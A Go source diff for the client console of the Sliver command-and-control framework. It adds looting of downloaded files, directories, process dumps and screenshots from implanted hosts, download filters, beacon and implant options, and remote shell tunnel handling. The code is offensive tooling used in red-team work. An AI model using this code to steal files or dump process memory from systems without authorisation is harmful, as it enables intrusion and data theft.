prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
var readFilesText string
var unreadFilesText string
if download.ReadFiles == 1 {
readFilesText = "file"
} else {
readFilesText = "files"
}
if download.UnreadableFiles == 1 {
unreadFilesText = "file"
} else {
unreadFilesText = "files"
}
con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
n,
download.ReadFiles,
readFilesText,
download.UnreadableFiles,
unreadFilesText,
dstFile.Name())
}
}
}
+22 -66
View File
@@ -22,7 +22,6 @@ import (
"bytes"
"context"
"fmt"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
@@ -45,49 +44,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
remotePath := ctx.Args.String("path")
filter := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if remotePath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(remotePath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence+1]
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
_, err := filepath.Match(potentialFilter, "")
if err == nil {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
} else {
if !strings.HasSuffix(remotePath, "/") {
remotePath = remotePath + "/"
}
}
}
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
@@ -104,23 +60,38 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintLs(ls, ctx.Flags, filter, con)
PrintLs(ls, ctx.Flags, con)
})
con.PrintAsyncResponse(ls.Response)
} else {
PrintLs(ls, ctx.Flags, filter, con)
PrintLs(ls, ctx.Flags, con)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
// Generate metadata to print with the path
numberOfFiles := len(ls.Files)
var totalSize int64 = 0
var pathInfo string
for _, fileInfo := range ls.Files {
totalSize += fileInfo.Size
}
if numberOfFiles == 1 {
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
} else {
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
}
con.Printf("%s\n", pathInfo)
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
@@ -174,29 +145,14 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console
}
for _, fileInfo := range ls.Files {
if filter != "" {
fileMatch, err := filepath.Match(filter, fileInfo.Name)
if err != nil {
/*
This should not happen because we checked the filter
before reaching out to the implant.
*/
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
break
}
if !fileMatch {
continue
}
}
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else if fileInfo.Link != "" {
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
+11 -1
View File
@@ -38,7 +38,17 @@ func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, co
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
/*
If seconds has not been specified but any of the other time units have, then do not add
the default 60 seconds to the interval.
If seconds have been specified, then add them regardless.
*/
if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
}
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
+13 -8
View File
@@ -29,7 +29,6 @@ import (
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
@@ -39,6 +38,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -164,15 +164,12 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
// Shared function that extracts the compile flags from the grumble context
func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
var name string
if ctx.Flags["name"] != nil {
if ctx.Flags.String("name") != "" {
name = strings.ToLower(ctx.Flags.String("name"))
if name != "" {
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
con.PrintErrorf("Implant's name must be in alphanumeric only\n")
return nil
}
if err := util.AllowedName(name); err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
}
@@ -305,6 +302,13 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
}
// TODO: Use generics or something to check in a slice
connectionStrategy := ctx.Flags.String("strategy")
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
return nil
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
@@ -319,6 +323,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
ConnectionStrategy: connectionStrategy,
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
PollTimeout: int64(pollTimeout) * int64(time.Second),
MaxConnectionErrors: uint32(maxConnectionErrors),
+20 -1
View File
@@ -279,7 +279,26 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
[[.Bold]]About:[[.Normal]] Download a file from the remote system.`
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit downloads to file names matching given criteria. Filters DO NOT apply to directory names.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
download /etc/*.conf will download all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
Downloads can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
+2 -2
View File
@@ -31,9 +31,9 @@ import (
func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domains := strings.Split(ctx.Flags.String("domains"), ",")
for _, domain := range domains {
for index, domain := range domains {
if !strings.HasSuffix(domain, ".") {
domain += "."
domains[index] += "."
}
}
+1 -1
View File
@@ -89,7 +89,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if aesEncrypt {
stage2 = util.Encrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
switch stagingURL.Scheme {
+5 -1
View File
@@ -176,7 +176,11 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
if loot.Name == loot.File.Name {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, loot.File.Name, loot.Type, loot.LootID)
}
}
table.Flush()
options := strings.Split(buf.String(), "\n")
+5 -4
View File
@@ -159,14 +159,15 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "Type\tName\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
fmt.Fprintln(table, "Type\tName\tFile Name\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Type")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("File Name")),
strings.Repeat("=", len("UUID")),
)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.File.Name, loot.LootID)
}
table.Flush()
@@ -401,7 +402,7 @@ func isText(sample []byte) bool {
// last char may be incomplete - ignore
break
}
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
// decoding error or control character - not a text file
return false
}
+207 -67
View File
@@ -19,9 +19,14 @@ package loot
*/
import (
"archive/tar"
"bytes"
"compress/gzip"
"context"
"fmt"
"path"
"io"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -29,8 +34,198 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
func ValidateLootType(lootTypeInput string) (clientpb.LootType, error) {
var lootType clientpb.LootType
var err error
if lootTypeInput != "" {
lootType, err = lootTypeFromHumanStr(lootTypeInput)
if err != nil {
/*
If we get an error, that means that this loot type was invalid.
We will leave it up to the caller to handle the error (output it
to the console for example)
*/
return lootType, fmt.Errorf("Invalid loot type %s", lootTypeInput)
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
return lootType, err
}
func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType {
lootFileType, err := lootFileTypeFromHumanStr(lootFileTypeInput)
if lootFileType == -1 || err != nil {
if isText(data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
return lootFileType
}
/*
Eventually this function needs to be refactored out, but we made the decision to
duplicate it for now
*/
func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
<-ctrl
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
}
})
con.PrintAsyncResponse(download.Response)
}
if download.Response != nil && download.Response.Err != "" {
return nil, fmt.Errorf("%s\n", download.Response.Err)
}
// Decode the downloaded data if required
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
return nil, fmt.Errorf("Decoding failed %s", err)
}
}
return download, nil
}
func CreateLootMessage(fileName string, lootName string, lootType clientpb.LootType, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
if lootName == "" {
lootName = fileName
}
lootMessage := &clientpb.Loot{
Name: lootName,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: fileName,
Data: data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
lootMessage.CredentialType = clientpb.CredentialType_FILE
}
return lootMessage
}
func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) {
control := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control)
loot, err := con.Rpc.LootAdd(context.Background(), loot)
control <- true
<-control
if err != nil {
con.PrintErrorf("%s\n", err)
}
if loot.Name != loot.File.Name {
con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.LootID)
} else {
con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.LootID)
}
return
}
func LootDownload(download *sliverpb.Download, lootName string, lootType clientpb.LootType, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
// Was the download successful?
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
/* Construct everything needed to send the loot to the server
If this is a directory, we will process each file individually
*/
// Let's handle the simple case of a file first
if !download.IsDir {
// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, lootType, fileType, download.Data)
SendLootMessage(lootMessage, con)
} else {
// We have to decompress the gzip file first
decompressedDownload, err := gzip.NewReader(bytes.NewReader(download.Data))
if err != nil {
con.PrintErrorf("Could not decompress downloaded data: %s", err)
return
}
/*
Directories are stored as tar-ed gzip archives.
We have gotten rid of the gzip part, now we have to sort out the tar
*/
tarReader := tar.NewReader(decompressedDownload)
// Keep reading until we reach the end
for {
entryHeader, err := tarReader.Next()
if err == io.EOF {
// We have reached the end of the tar archive
break
}
if err != nil {
// Something is wrong with this archive. Stop reading.
break
}
if entryHeader == nil {
/*
If the entry is nil, skip it (not sure when this would happen,
but we do not want to attempt operations on something that is nil)
*/
continue
}
if entryHeader.Typeflag == tar.TypeDir {
// Keep going to dig into the directory
continue
}
// The implant should have only shipped us files (the implant resolves symlinks)
// Create a loot message for this file and ship it
/* Using io.ReadAll because it reads until EOF. We have already read the header, so the next EOF should
be the end of the file
*/
fileData, err := io.ReadAll(tarReader)
if err == nil {
lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, lootType, fileType, fileData)
SendLootMessage(lootMessage, con)
}
}
}
}
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -38,77 +233,22 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
remotePath := ctx.Args.String("path")
fileName := filepath.Base(remotePath)
name := ctx.Flags.String("name")
if name == "" {
name = path.Base(remotePath)
}
var lootType clientpb.LootType
var err error
lootTypeStr := ctx.Flags.String("type")
if lootTypeStr != "" {
lootType, err = lootTypeFromHumanStr(lootTypeStr)
if err == ErrInvalidLootType {
con.PrintErrorf("Invalid loot type %s", lootTypeStr)
return
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err) // Download failed
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
// Determine type based on download buffer
lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
if lootFileType == -1 || err != nil {
if isText(download.Data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
loot := &clientpb.Loot{
Name: name,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: path.Base(remotePath),
Data: download.Data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
loot.CredentialType = clientpb.CredentialType_FILE
}
loot, err = con.Rpc.LootAdd(context.Background(), loot)
ctrl <- true
<-ctrl
lootType, err := ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
download, err := PerformDownload(remotePath, fileName, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Determine type based on download buffer
lootFileType := ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
LootDownload(download, name, lootType, lootFileType, ctx, con)
}
+3
View File
@@ -57,10 +57,13 @@ func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleC
if session == nil {
return
}
var options []bool
options = append(options, ctx.Flags.Bool("allow-all"))
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
Type: sliverpb.PivotType_NamedPipe,
BindAddress: ctx.Flags.String("bind"),
Request: con.ActiveTarget.Request(ctx),
Options: options,
})
if err != nil {
con.PrintErrorf("%s\n", err)
+31 -3
View File
@@ -24,7 +24,9 @@ import (
"io/ioutil"
"os"
"path/filepath"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -42,6 +44,8 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pid := ctx.Flags.Int("pid")
name := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("loot-name")
if pid == -1 && name != "" {
pid = GetPIDByName(ctx, name, con)
@@ -78,11 +82,23 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintProcessDump(dump, saveTo, hostname, pid, con)
if saveLoot {
LootProcessDump(dump, lootName, hostname, pid, con)
}
if !saveLoot || saveTo != "" {
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
})
con.PrintAsyncResponse(dump.Response)
} else {
PrintProcessDump(dump, saveTo, hostname, pid, con)
if saveLoot {
LootProcessDump(dump, lootName, hostname, pid, con)
}
if !saveLoot || saveTo != "" {
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
}
}
@@ -99,7 +115,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0o600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
@@ -119,3 +135,15 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
}
return ""
}
func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) {
timeNow := time.Now().UTC()
dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405"))
if lootName == "" {
lootName = dumpFileName
}
lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, dump.GetData())
loot.SendLootMessage(lootMessage, con)
}
+4 -8
View File
@@ -20,10 +20,9 @@ package reconfig
import (
"context"
"regexp"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -36,12 +35,9 @@ func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Option to change the agent name
name := ctx.Flags.String("name")
if name != "" {
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
con.PrintErrorf("Name must be in alphanumeric only\n")
return
}
if err := util.AllowedName(name); err != nil {
con.PrintErrorf("%s\n", err)
return
}
var beaconID string
+38 -10
View File
@@ -57,6 +57,10 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
hostname := getHostname(session, beacon)
if screenshot.Response != nil && screenshot.Response.Async {
con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
@@ -65,11 +69,31 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintScreenshot(screenshot, hostname, ctx, con)
if saveLoot {
if len(screenshot.Data) > 0 {
LootScreenshot(screenshot, lootName, hostname, con)
} else {
con.PrintErrorf("Cannot loot screenshot because it contained no data")
}
}
if !saveLoot || saveTo != "" {
PrintScreenshot(screenshot, hostname, ctx, con)
}
})
con.PrintAsyncResponse(screenshot.Response)
} else {
PrintScreenshot(screenshot, hostname, ctx, con)
if saveLoot {
if len(screenshot.Data) > 0 {
LootScreenshot(screenshot, lootName, hostname, con)
} else {
con.PrintErrorf("Cannot loot screenshot because it contained no data")
}
}
if !saveLoot || saveTo != "" {
PrintScreenshot(screenshot, hostname, ctx, con)
}
}
}
@@ -88,7 +112,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
@@ -103,14 +127,18 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
}
con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) {
timeNow := time.Now().UTC()
screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405"))
if lootName == "" {
lootName = screenshotFileName
}
lootMessage := loot.CreateLootMessage(screenshotFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, screenshot.GetData())
loot.SendLootMessage(lootMessage, con)
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
+1
View File
@@ -47,6 +47,7 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
tw.AppendRow(table.Row{"Vim mode", con.Settings.VimMode, "Navigation mode, vim style"})
con.Printf("%s\n", tw.Render())
}
+18 -2
View File
@@ -68,9 +68,12 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
}
// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
SessionID: session.ID,
})
defer cancelTunnel()
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -78,7 +81,7 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
@@ -90,6 +93,19 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
con.PrintErrorf("%s\n", err)
return
}
//
if shell.Response != nil && shell.Response.Err != "" {
con.PrintErrorf("Error: %s\n", shell.Response.Err)
_, err = con.Rpc.CloseTunnel(context.Background(), &sliverpb.Tunnel{
TunnelID: tunnel.ID,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("RPC Error: %s\n", err)
}
return
}
defer tunnel.Close()
log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
+1 -1
View File
@@ -29,7 +29,7 @@ import (
// SocksStopCmd - Remove an existing tunneled port forward
func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socksID := ctx.Flags.Int("id")
socksID := ctx.Flags.Uint64("id")
if socksID < 1 {
con.PrintErrorf("Must specify a valid socks5 id\n")
return
+6 -4
View File
@@ -233,7 +233,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
},
}
exec.PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
// execute-shellcode
case sliverpb.MsgTaskReq:
@@ -289,9 +289,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
Command: &grumble.Command{Name: "sideload"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false},
"loot": &grumble.FlagMapItem{Value: false},
},
}
exec.PrintSideload(sideload, hostname, ctx, con)
exec.HandleSideloadResponse(sideload, "", hostname, ctx, con)
case sliverpb.MsgSpawnDllReq:
spawnDll := &sliverpb.SpawnDll{}
@@ -309,9 +310,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
Command: &grumble.Command{Name: "spawndll"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false},
"loot": &grumble.FlagMapItem{Value: false},
},
}
exec.PrintSpawnDll(spawnDll, hostname, ctx, con)
exec.HandleSpawnDLLResponse(spawnDll, "", hostname, ctx, con)
case sliverpb.MsgSSHCommandReq:
sshCommand := &sliverpb.SSHCommand{}
@@ -356,7 +358,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
"modified": &grumble.FlagMapItem{Value: false},
"size": &grumble.FlagMapItem{Value: false},
}
filesystem.PrintLs(ls, flags, "", con)
filesystem.PrintLs(ls, flags, con)
case sliverpb.MsgMvReq:
mv := &sliverpb.Mv{}
+3 -2
View File
@@ -26,7 +26,6 @@ import (
"io/ioutil"
"log"
insecureRand "math/rand"
"path"
"path/filepath"
"strconv"
"strings"
@@ -109,11 +108,12 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
App: grumble.New(&grumble.Config{
Name: "Sliver",
Description: "Sliver Client",
HistoryFile: path.Join(assets.GetRootAppDir(), "history"),
HistoryFile: filepath.Join(assets.GetRootAppDir(), "history"),
PromptColor: color.New(),
HelpHeadlineColor: color.New(),
HelpHeadlineUnderline: true,
HelpSubCommands: true,
VimMode: settings.VimMode,
}),
Rpc: rpc,
